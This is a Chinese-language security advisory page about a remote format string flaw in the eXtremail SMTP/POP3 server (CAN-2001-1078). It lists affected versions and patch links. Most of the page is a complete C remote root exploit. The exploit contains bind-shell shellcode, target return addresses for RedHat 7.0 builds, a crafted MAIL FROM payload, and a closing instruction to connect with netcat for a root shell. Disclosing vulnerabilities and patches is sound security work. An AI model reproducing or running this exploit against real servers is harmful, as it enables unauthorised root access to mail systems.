首页 -> 安全研究

安全研究

安全漏洞
eXtremail 远程格式串溢出

发布日期:2001-06-21
更新日期:2001-07-03

受影响系统:

eXtremail 1.1.9
eXtremail 1.1.8
eXtremail 1.1.7
eXtremail 1.1.6
eXtremail 1.1.5
eXtremail 1.1.4
eXtremail 1.1.3
eXtremail 1.1.2
eXtremail 1.1.1
eXtremail 1.1
eXtremail 1.0.3
eXtremail 1.0.2
eXtremail 1.0.1
eXtremail 1.0
不受影响系统:

eXtremail 1.1.10
描述:

BUGTRAQ  ID: 2908
CVE(CAN) ID: CAN-2001-1078

eXtremail是一个pop3/smtpd邮件服务软件,它是免费的但是不开放源码。它可以运行在
Linux和AIX系统下。

eXtremail的flog()函数中存在一个格式串问题。用户可能利用SMTP或者POP3命令将格式串
传送给服务器,攻击者可以修改任意的可访问的内存地址。

由于eXtremail以root权限运行。远程攻击者可以远程获取root权限,也可能造成eXtremail
服务的崩溃。

<*来源:mu-b (mu-b@digit-labs.org) *>




测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


mu-b (mu-b@digit-labs.org)提供了如下测试代码:

/* eXtremail-exp.c
*
* - eXtremail v1.1.5-9 Remote Root Exploit (x86) -
*
* - Tested on: RedHat 7.0 eXtremail v1.1.5
*              RedHat 7.0 eXtremail v1.1.6
*              RedHat 7.0 eXtremail v1.1.7
*              RedHat 7.0 eXtremail v1.1.8
*              RedHat 7.0 eXtremail v1.1.9
*              NOT VULNERABLE eXtremail v1.1.10
*
* Copyright (c) 2001 by <mu-b@digit-labs.org>
*
* eXtremail v1.1.5+ has a format string problem
* in flog(). This problem affects all user commands
* (helo/ehlo/mail from:/rcpt to:), and is caused
* by an improper fprintf() to the servers logfile.
*
* Buffers for helo/ehlo are too small (except v1.1.5),
* therefore we use mail from: instead :).
*
* Note: Return Address's are quite tight due to the small
*       buffers. Returning to the Heap is possible but
*       is VERY unstable.
*
* Greets: mjm, all@alldas.de, teleh0r, grazer, cmds, gollum, #!digit-labs
*
* http://www.digit-labs.org/ -- Digit-Labs 2001!@$!
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <netdb.h>
#include <resolv.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <sys/stat.h>

#define NOP        0x41
#define NUMVULN    4
#define OFFSET    0
#define PORT    25

void banner();
void mkfmt();
int opensocket(char *);
void usage();

char buf[520];
int buflength, type = 0, sock;
unsigned long target, retaddr;

unsigned char shellcode[]= /* lamagra bindshell code */
    "\xeb\x6e\x5e\x29\xc0\x89\x46\x10"
    "\x40\x89\xc3\x89\x46\x0c\x40\x89"
        "\x46\x08\x8d\x4e\x08\xb0\x66\xcd"
        "\x80\x43\xc6\x46\x10\x10\x88\x46"
        "\x08\x31\xc0\x31\xd2\x89\x46\x18"
        "\xb0\x90\x66\x89\x46\x16\x8d\x4e"
        "\x14\x89\x4e\x0c\x8d\x4e\x08\xb0"
        "\x66\xcd\x80\x89\x5e\x0c\x43\x43"
        "\xb0\x66\xcd\x80\x89\x56\x0c\x89"
        "\x56\x10\xb0\x66\x43\xcd\x80\x86"
        "\xc3\xb0\x3f\x29\xc9\xcd\x80\xb0"
        "\x3f\x41\xcd\x80\xb0\x3f\x41\xcd"
        "\x80\x88\x56\x07\x89\x76\x0c\x87"
        "\xf3\x8d\x4b\x0c\xb0\x0b\xcd\x80"
        "\xe8\x8d\xff\xff\xff\x2f\x62\x69"
        "\x6e\x2f\x73\x68";

/*   target address's  -> objdump -R smtpd | grep "fflush"   */
struct {
    char *name;
    unsigned long target;
    unsigned long retaddr;
    int padding;
    int buflength;
} targets[] = {
        { "RedHat 7.0 eXtremail v1.1R5", 0x080864e0, 0xbf1ff64a, 1, 500},
        { "RedHat 7.0 eXtremail v1.1R6", 0x08089d5c, 0xbf1ff5d6, 1, 266},
        { "RedHat 7.0 eXtremail v1.1R7", 0x0808b3fc, 0xbf1ff5d6, 1, 266},
        { "RedHat 7.0 eXtremail v1.1R8", 0x0808b6fc, 0xbf1ff5d6, 1, 266},
        { "RedHat 7.0 eXtremail v1.1R9", 0x08088890, 0xbf1ff5d6, 1, 266},
        { 0 } };

void banner()
{
   fprintf(stderr, "\neXtremail V1.1R5-9 remote root exploit\n");
   fprintf(stderr, "by: <mu-b@digit-labs.org>\n");
   fprintf(stderr, "Copyright (c) 2001 Digit-Labs!@#$!\n");
   fprintf(stderr, "http://www.digit-labs.org\n\n");
}

void mkfmt()
{
   int i, j = 0, num;
   int bytesofar;
   int fmtints[4];
   char *bufptr;
   unsigned char temp[4];

   bytesofar = 35 + targets[type].padding;
   bufptr = &buf[strlen(buf)];

   temp[0] = (unsigned char) (target & 0x000000ff);
   temp[1] = (unsigned char)((target & 0x0000ff00) >> 8);
   temp[2] = (unsigned char)((target & 0x00ff0000) >> 16);
   temp[3] = (unsigned char)((target & 0xff000000) >> 24);

   for(i = 0; i < 4; i++)
   {
      sprintf(bufptr, "%c%c%c%c", temp[0], temp[1], temp[2], temp[3]);
      bufptr += 4;
      temp[0]++;
   }

   fmtints[0] = (int) (retaddr & 0x000000ff);
   fmtints[1] = (int)((retaddr & 0x0000ff00) >> 8);
   fmtints[2] = (int)((retaddr & 0x00ff0000) >> 16);
   fmtints[3] = (int)((retaddr & 0xff000000) >> 24);
   
   for(i = 0; i < 4; i++)
   {
      num = 0;

      if(fmtints[i] - bytesofar < 10)
      {
         while(num != 1)
         {
            fmtints[i] = (fmtints[i] + 0x100);
            if(fmtints[i] - bytesofar > 9)
            {
               fmtints[i] -= bytesofar;
               bytesofar += fmtints[i];
               num = 1;
            }
         }
      }
      else
      {
         fmtints[i] -= bytesofar;
         bytesofar += fmtints[i];
      }
   }

   sprintf(bufptr, "%%.%du%%38$n%%.%du%%39$n%%.%du%%40$n%%.%du%%41$n", fmtints[0], fmtints[1], fmtints[2], fmtints[3]);

   for(i = strlen(buf); i < buflength - strlen(shellcode) - 1; i++)
      buf[i] = NOP;

   for(i = i; i < buflength - 1; i++)
   {
      buf[i] = shellcode[j];
      j++;
   }

   buf[buflength - 1] = '\n';
   buf[buflength] = '\0';
   write(sock, buf, strlen(buf));
}

int opensocket(char *host)
{
   int s;
   struct sockaddr_in remote_sin;
   struct hostent *he;

   if((s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
      perror("socket()");
      return -1;
   }

   memset((char *)&remote_sin, 0, sizeof(remote_sin));
   if((he = gethostbyname(host)) != NULL)
      memcpy((char *)&remote_sin.sin_addr, he->h_addr, he->h_length);
   else if((remote_sin.sin_addr.s_addr = inet_addr(host)) < 0) {
         perror("gethostbyname()/inet_addr()");
         return -1;
   }

   remote_sin.sin_family = PF_INET;
   remote_sin.sin_port = htons(PORT);

   if(connect(s, (struct sockaddr *)&remote_sin, sizeof(remote_sin)) == -1) {
      perror("connect()");
      close(s);
      return -1;
   }
          
   return s;
}

void usage()
{
   int i;

   fprintf(stderr, "Usage: ./extremail <host> [type]\n");
   fprintf(stderr, "\nTargets:\n");

   for (i = 0; targets[i].name; i++)
      fprintf(stderr, "\t%d.\t%s\n", i, targets[i].name);

   fprintf(stderr, "\n");    
   exit(0);
}

int main (int argc, char *argv[])
{
   char *host;
   int i;

   banner();

   if(argc < 2)
      usage();
  
   if(argc >= 3)
      type = atoi(argv[2]);

   if(type > NUMVULN)
      type = 0;
   
   host = argv[1];
   buflength = targets[type].buflength;
   target = targets[type].target;
   retaddr = targets[type].retaddr + OFFSET;

   fprintf(stderr, "Target:\t\t%s\nType:\t\t%s\n", host, targets[type].name);
   fprintf(stderr, "Target Address:\t%p\nReturn Address:\t%p\nOffset:\t\t%d\n", target, retaddr, OFFSET);
   fprintf(stderr, "Buflength:\t%d\n", buflength);   

   if ((sock = opensocket(host)) <= 0)
      return -1;

   fprintf(stderr, "\nConnected....\n");

   memcpy(buf, "MAIL FROM:<", 11);
   
   for(i = 0; i < targets[type].padding; i++)
      buf[strlen(buf)] = 0x61;

   sleep(1);
   write(sock, "HELO digit-labs.org!@#$!\n", 26);

   sleep(1);
   mkfmt();

   sleep(1);
   close(sock);

   fprintf(stderr, "\n[1] sent payload....\n");
   fprintf(stderr, "[2] waiting....\n");
   sleep(2);
   fprintf(stderr, "[3] nc %s 36864 for shell....\n\n", host);

   return;
}


建议:

厂商补丁:

eXtremail 1.1.10已经解决了这个问题:

eXtremail upgrade i386 Linux (tarball):
http://www.extremail.com/ftp/linux/eXtremail-1.1-10.tar.gz

eXtremail upgrade i386 Linux (deb):
http://www.extremail.com/ftp/linux/extremail_1.1-10_i386.deb

eXtremail RPM i386 Linux (rpm):
http://www.extremail.com/ftp/linux/eXtremail-1.1-10.i686.rpm



浏览次数:3886
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障